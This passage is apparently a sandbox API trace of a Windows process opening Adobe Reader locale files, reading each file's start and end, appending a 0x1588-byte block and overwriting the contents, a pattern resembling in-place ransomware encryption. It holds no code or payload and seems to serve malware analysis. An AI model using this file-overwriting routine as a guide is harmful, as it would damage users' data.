lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.588] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.588] WriteFile (in: hFile=0x12c, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0039.588] CloseHandle (hObject=0x12c) returned 1 [0039.588] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ru_RU\\Reflow.RUS" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ru_ru\\reflow.rus"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.589] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.589] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1200 [0039.589] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.589] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.589] ReleaseMutex (hMutex=0x128) returned 1 [0039.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0039.589] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reflow.RUS", cchWideChar=10, lpMultiByteStr=0x1e6324c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reflow.RUS", lpUsedDefaultChar=0x0) returned 10 [0039.589] ReadFile (in: hFile=0x12c, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1200, lpNumberOfBytesRead=0x2c0f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f2bc*=0x1200, lpOverlapped=0x0) returned 1 [0039.592] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f300*=0) returned 0x0 [0039.592] WriteFile (in: hFile=0x12c, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1788, lpNumberOfBytesWritten=0x2c0f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2c0f2d0*=0x1788, lpOverlapped=0x0) returned 1 [0039.592] CloseHandle (hObject=0x12c) returned 1 [0039.592] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Acroform.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\acroform.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.597] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.597] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x65800 [0039.597] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.597] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.597] ReleaseMutex (hMutex=0x128) returned 1 [0039.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.597] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SKY", cchWideChar=12, lpMultiByteStr=0x1e6324c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SKY", lpUsedDefaultChar=0x0) returned 12 [0039.597] ReadFile (in: hFile=0x12c, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0x8000, lpOverlapped=0x0) returned 1 [0039.599] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x64800 [0039.600] ReadFile (in: hFile=0x12c, lpBuffer=0x1dabed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.606] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x64800 [0039.607] WriteFile (in: hFile=0x12c, lpBuffer=0x2511c78*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.607] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.607] WriteFile (in: hFile=0x12c, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x8000, lpOverlapped=0x0) returned 1 [0039.607] CloseHandle (hObject=0x12c) returned 1 [0039.607] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\makeaccessible.SKY" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\makeaccessible.sky"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0039.608] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.608] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x12200 [0039.608] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.608] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.608] ReleaseMutex (hMutex=0x128) returned 1 [0039.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0039.608] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.SKY", cchWideChar=18, lpMultiByteStr=0x1e78a8c, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.SKY", lpUsedDefaultChar=0x0) returned 18 [0039.608] ReadFile (in: hFile=0x12c, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.610] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x11200 [0039.610] ReadFile (in: hFile=0x12c, lpBuffer=0x2511c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2511c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.965] SetFilePointer (in: hFile=0x12c, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x11200 [0039.968] WriteFile (in: hFile=0x12c, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.970] SetFilePointer (in: hFile=0x12c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.970] WriteFile (in: hFile=0x12c, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.970] CloseHandle (hObject=0x12c) returned 1 [0039.972] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sk_SK\\Services\\DEXShare.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sk_sk\\services\\dexshare.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.977] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.977] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x95c9 [0039.977] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.977] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.979] ReleaseMutex (hMutex=0x128) returned 1 [0039.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0039.979] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DEXShare.asfx", cchWideChar=13, lpMultiByteStr=0x1e6324c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DEXShare.asfx", lpUsedDefaultChar=0x0) returned 13 [0039.979] ReadFile (in: hFile=0x1c4, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0039.991] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x85c9 [0039.992] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0039.995] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x85c9 [0039.995] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0039.995] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0039.995] WriteFile (in: hFile=0x1c4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0039.995] CloseHandle (hObject=0x1c4) returned 1 [0039.995] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Checkers.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\checkers.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0039.996] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.996] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1d800 [0039.996] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0039.996] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0039.996] ReleaseMutex (hMutex=0x128) returned 1 [0039.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0039.996] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.SLV", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.SLV", lpUsedDefaultChar=0x0) returned 12 [0039.996] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0040.000] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1c800 [0040.000] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.001] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1c800 [0040.002] WriteFile (in: hFile=0x1c4, lpBuffer=0x2736c38*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2736c38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.002] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.002] WriteFile (in: hFile=0x1c4, lpBuffer=0x1dabed8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dabed8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0040.002] CloseHandle (hObject=0x1c4) returned 1 [0040.002] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\RdLang32.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\rdlang32.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.003] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.003] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x146000 [0040.003] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.003] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.003] ReleaseMutex (hMutex=0x128) returned 1 [0040.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.003] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.SLV", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.SLV", lpUsedDefaultChar=0x0) returned 12 [0040.003] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0040.008] ReadFile (in: hFile=0x1c4, lpBuffer=0x1de0db8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.008] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x145000 [0040.009] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.010] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x145000 [0040.010] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.010] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.010] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0040.011] WriteFile (in: hFile=0x1c4, lpBuffer=0x27bfb38*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27bfb38*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.011] CloseHandle (hObject=0x1c4) returned 1 [0040.011] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sl_SI\\Weblink.SLV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sl_si\\weblink.slv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.011] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.011] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x6e00 [0040.011] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.011] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.011] ReleaseMutex (hMutex=0x128) returned 1 [0040.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.011] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Weblink.SLV", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Weblink.SLV", lpUsedDefaultChar=0x0) returned 11 [0040.012] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.013] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5e00 [0040.013] ReadFile (in: hFile=0x1c4, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0040.014] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x5e00 [0040.014] WriteFile (in: hFile=0x1c4, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0040.014] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0040.014] WriteFile (in: hFile=0x1c4, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0040.015] CloseHandle (hObject=0x1c4) returned 1 [0040.015] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\EScript.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\escript.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c4 [0040.015] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.015] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x9a00 [0040.015] SetFilePointer (in: hFile=0x1c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0040.015] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0040.015] ReleaseMutex (hMutex=0x128) returned 1 [0040.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.015] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.SVE", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.SVE", lpUsedDefaultChar=0x0) returned 11 [0040.015] ReadFile (in: hFile=0x1c4, lpBuffer=0x2732c08, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2732c08*, lpNumberOfBytesRead=0x2c0f278*=0x4000, 